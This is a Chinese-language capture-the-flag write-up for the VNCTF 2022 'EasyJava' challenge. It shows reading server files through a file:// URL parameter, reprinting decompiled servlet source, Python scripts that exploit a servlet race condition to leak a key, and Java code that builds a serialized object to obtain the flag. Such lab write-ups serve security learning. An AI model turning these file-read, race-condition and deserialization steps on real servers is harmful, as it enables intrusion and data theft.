目录
[VNCTF] EasyJava
一、拿到源码
首先拿到题目,查看源码发现了提示:/file?
进入/file文件发现需要提交一个url。由于前面提示用file进入,这个时候我们可以尝试用文件读取。
输入
?url=file:///
之后显示发现有一个flag,但是打开之后回报错,之后检索网站的根目录,Java中,网站根目录通常放在:usr/local/tomcat/webapps
?url=file:///usr/local/tomcat/webapps
发现有一个ROOT文件继续进入,发现:
index.html
META-INF
WEB-INF
- META-INF
为了提供存档的便签信息,出现了Manifest.mf文件,jar文件中有一个特定的目录来存放标签信息:META-INF目录,主要应关注其中一个名叫manifest.mf的文件,它包含了jar文件的内容描述,在应用程序运行时向JVM提供应用程序的信息。
参考两位大佬的介绍:
https://blog.csdn.net/qq_38449518/article/details/82414069
https://blog.csdn.net/weixin_43203497/article/details/94842305
- WEB-INF
WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
进入WEB-INF之后,我们把所有的文件都下载到本地。
- 这里推荐一个在线Java反编译的网站
https://www.decompiler.com/
二、分析源码
- Secr3t.java
package util;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;
public class Secr3t {
private static final String Key = RandomStringUtils.randomAlphanumeric(32);
private static StringBuffer Flag;
private Secr3t() {
}
public static String getKey() {
return Key;
}
public static StringBuffer getFlag() {
Flag = new StringBuffer();
InputStream in = null;
try {
in = Runtime.getRuntime().exec("/readflag").getInputStream();
} catch (IOException var12) {
var12.printStackTrace();
}
BufferedReader read = new BufferedReader(new InputStreamReader(in));
try {
String line = null;
while((line = read.readLine()) != null) {
Flag.append(line + "\n");
}
} catch (IOException var13) {
var13.printStackTrace();
} finally {
try {
in.close();
read.close();
} catch (IOException var11) {
var11.printStackTrace();
System.out.println("Secr3t : io exception!");
}
}
return Flag;
}
public static boolean check(String checkStr) {
return "vnctf2022".equals(checkStr);
}
}
- SerAndDe.java
package util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class SerAndDe {
private SerAndDe() {
}
public static byte[] serialize(Object object) {
ObjectOutputStream oos = null;
ByteArrayOutputStream bos = null;
Object var4;
try {
bos = new ByteArrayOutputStream();
oos = new ObjectOutputStream(bos);
oos.writeObject(object);
byte[] b = bos.toByteArray();
byte[] var16 = b;
return var16;
} catch (IOException var14) {
System.out.println("serialize Exception:" + var14.toString());
var4 = null;
} finally {
try {
if (oos != null) {
oos.close();
}
if (bos != null) {
bos.close();
}
} catch (IOException var13) {
System.out.println("io could not close:" + var13.toString());
}
}
return (byte[])var4;
}
public static Object deserialize(byte[] bytes) {
ByteArrayInputStream bais = null;
Object var3;
try {
bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
var3 = ois.readObject();
return var3;
} catch (IOException | ClassNotFoundException var13) {
System.out.println("deserialize Exception:" + var13.toString());
var3 = null;
} finally {
try {
if (bais != null) {
bais.close();
}
} catch (IOException var12) {
System.out.println("LogManage Could not serialize:" + var12.toString());
}
}
return var3;
}
}
- UrlUtil.java
package util;
import java.io.InputStream;
import java.net.URL;
public class UrlUtil {
private UrlUtil() {
}
public static InputStream visit(String url) throws Exception {
URL file = new URL(url);
InputStream inputStream = file.openStream();
return inputStream;
}
}
- User.java
package entity;
import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;
public class User implements Serializable {
private String name;
private String age;
private transient String height;
public User(String name, String age, String height) {
this.name = name;
this.age = age;
this.height = height;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public String getAge() {
return this.age;
}
public void setAge(String age) {
this.age = age;
}
public String getHeight() {
return this.height;
}
public void setHeight(String height) {
this.height = height;
}
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
this.height = (String)s.readObject();
}
public boolean equals(Object obj) {
if (obj == null) {
return false;
} else if (this == obj) {
return true;
} else if (obj instanceof User) {
User user = (User)obj;
return user.getAge().equals(this.age) && user.getHeight().equals(this.height) && user.getName().equals(this.name);
} else {
return false;
}
}
public String toString() {
return "User{name='" + this.name + '\'' + ", age='" + this.age + '\'' + ", height='" + this.height + '\'' + '}';
}}
- HelloWorldServlet.java
package servlet;
import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;
@WebServlet(
name = "HelloServlet",
urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
private volatile String name = "m4n_q1u_666";
private volatile String age = "666";
private volatile String height = "180";
User user;
public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
}
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
- FileServlet.java
package servlet;
import java.io.IOException;
import java.io.InputStream;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import util.UrlUtil;
@WebServlet(
name = "FileServlet",
urlPatterns = {"/file"}
)
public class FileServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("url");
if (url != null) {
InputStream responseContent = null;
try {
responseContent = UrlUtil.visit(url);
IOUtils.copy(responseContent, resp.getOutputStream());
resp.flushBuffer();
} catch (Exception var9) {
var9.printStackTrace();
} finally {
responseContent.close();
}
} else {
this.Response(resp, "please input a url");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
拿到源码,分析
FileServlet.java对应的是/file时访问的页面。
Secr3t.java中:StringBuffer getFlag()中有
在HelloWorldServlet.java中有两个重要的地方:
doGet中:有一个条件竞争
三、Servlet的线程安全问题:条件竞争
- 什么是条件竞争:
当Tomcat接收到Client的HTTP请求时,Tomcat从线程池中取出一个线程,之后找到该请求对应的Servlet对象并进行初始化,之后调用service()方法。要注意的是每一个Servlet对象再Tomcat容器中只有一个实例对象,即是单例模式。如果多个HTTP请求请求的是同一个Servlet,那么这两个HTTP请求对应的线程将并发调用Servlet的service()方法。
Y4师傅的博客:https://blog.csdn.net/solitudi/article/details/122781947?spm=1001.2014.3001.5501
参考: https://blog.csdn.net/jdbc/article/details/40702555
条件竞争接口:
参考官方wp中:
条件竞争的方案:
- a.py
import requests
host ="http://72b659b5-f34d-44ca-bee4-cdb51c9cce45.node4.buuoj.cn:81/"
while True:
re =requests.get(host+"evi1?name=1234")
re.encoding = "utf-8"
if re.text.find("The Key is")!=-1:
print(re.text)
if re.text.replace(" ","")!="":
print(re.text)
- b.py
import requests
host ="http://72b659b5-f34d-44ca-bee4-cdb51c9cce45.node4.buuoj.cn:81/"
while True:
re =requests.get(host+"evi1?name=vnctf2022")
re.encoding = "utf-8"
print(re.text)
if re.text.find("The Key is")!=-1:
print(re.text)
一个程序的方案:
参考
https://blog.csdn.net/weixin_43610673/article/details/122955074?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164610885416781683956455%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164610885416781683956455&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-2-122955074.pc_search_result_control_group&utm_term=susctf2022&spm=1018.2226.3001.4187
- jinzheng.py
import requests
import threading
host = "http://72b659b5-f34d-44ca-bee4-cdb51c9cce45.node4.buuoj.cn:81/"
class myThread (threading.Thread):
def __init__(self, name):
threading.Thread.__init__(self)
self.name = name
def run(self):
print ("开始线程:" + self.name)
runing(self.name)
print ("退出线程:" + self.name)
def runing(name):
while True:
r = requests.get(host+"/evi1?name=%s" % name)
r.encoding = "utf-8"
if r.text.find("The Key is")!=-1:
print(r.text)
return 0
# 创建新线程
thread1 = myThread("asdqwer")
thread2 = myThread("vnctf2022")
# 开启新线程
thread1.start()
thread2.start()
thread1.join()
thread2.join()
四、构造反序列化
满足User类构造一个反序列化即可:
但是要注意的一个点是:
transient关键字修饰的变量无法直接反序列化,所以在生产byte的时候要重写一下writeObject,否则生产的height的值是空
package Payload;
import entity.User;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import util.SerAndDe;
public class Ser {
public static void main(String[] args) throws IOException {
User user = new User("m4n_q1u_666","666","180");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(user);
byte[] ser = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String encodedText = encoder.encodeToString(ser);
System.out.println(encodedText);
User user2 = (User) SerAndDe.deserialize(ser);
System.out.println(user2);
}}
最后添加key和base64字符串即可
Comments | NOTHING